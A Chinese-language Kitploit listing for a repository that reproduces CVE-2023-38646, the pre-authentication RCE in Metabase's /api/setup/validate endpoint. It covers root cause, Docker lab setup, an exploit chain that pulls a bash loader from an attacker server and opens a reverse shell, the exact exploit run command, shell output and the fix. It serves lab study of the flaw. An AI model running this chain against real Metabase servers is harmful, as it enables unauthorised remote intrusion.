Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
metabase-cve-2023-38646 — 仓库包含PoC和复现cve 2023-38646的步骤 | Kitploit
工具/GitHubGitHub/kushiro45/metabase-cve-2023-38646
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

仓库包含PoC和复现cve 2023-38646的步骤

查看仓库
51个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Metabase 预认证远程代码执行

概述

CVSS 9.8。Metabase 0.46.6.1 / 1.46.6.1 之前的版本(以及等效的早期分支)通过 /api/setup/validate 端点暴露了一个预认证 RCE 漏洞。该端点本应在初始设置期间验证数据库连接详细信息,但在设置完成后仍可在无需认证的情况下访问。

根本原因

该端点接受一个数据库连接载荷,当指定 engine: h2 并附带精心构造的 JDBC 连接字符串时,允许通过 H2 的 CREATE TRIGGER ... AS $$//javascript 语法嵌入任意 JavaScript。触发器体在验证时执行,攻击者可在 JVM 内执行 JavaScript,并通过 java.lang.Runtime.getRuntime().exec() 轻松升级为操作系统命令执行。

根本问题在于 H2 数据库引擎信任连接字符串中嵌入的代码作为“验证”数据源的一部分,再加上 Metabase 在预认证状态下暴露了此验证路径。

环境

  • 目标:官方 metabase/metabase:v0.46.6 Docker 镜像
  • 攻击者工具:Python 3、requests、termcolor
  • PoC 来源:Exploit-DB 51797(Musyoka Ian,CVE-2023-38646)

设置

运行存在漏洞的 Metabase:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # 等待 "Metabase Initialization COMPLETE"

安装漏洞利用依赖:

root@kitploit:~
pip3 install requests termcolor

漏洞利用链

  1. 设置令牌获取 — /api/session/properties 泄露一个 setup-token,该令牌本应用于限制一次性初始设置流程,但在设置完成后仍然有效且可用。
  2. 可利用性探测 — 攻击者启动一个本地 HTTP 服务器;精心构造的 H2 触发器使目标向其发起出站回调,确认 H2 引擎内的 JavaScript 执行。
  3. 命令执行 — 第二个精心构造的触发器使用 java.lang.Runtime.getRuntime().exec() 从攻击者的 HTTP 服务器获取一个 bash 加载器,并通过原始 TCP 监听器将命令输出以 base64 编码传回。

运行

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — 攻击者回调 IP(当目标为本地容器时,通常为 Docker 桥接网关,例如 172.17.0.1)
  • -p — 反向数据通道回连的端口
  • -P — 提供加载器脚本的本地 HTTP 服务器端口
  • -u — 目标 Metabase 基础 URL

一旦预认证回调确认可利用性,即可进入交互式 metabase_shell > 提示符。

结果

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

命令执行已确认为 metabase 服务帐户 — 预认证,无需凭证。严重性源于无需任何认证即可通过网络访问的 RCE,而非所得 shell 的权限级别。

修复

在 Metabase 0.46.6.1 / 1.46.6.1 及更高版本中已打补丁 — /api/setup/validate 端点现在要求设置确实未完成,并且设置令牌在初始设置完成后即失效。

免责声明

仅限隔离的实验室环境使用。请勿针对您不拥有或未获得明确授权测试的 Metabase 实例运行。 EOF

下载工具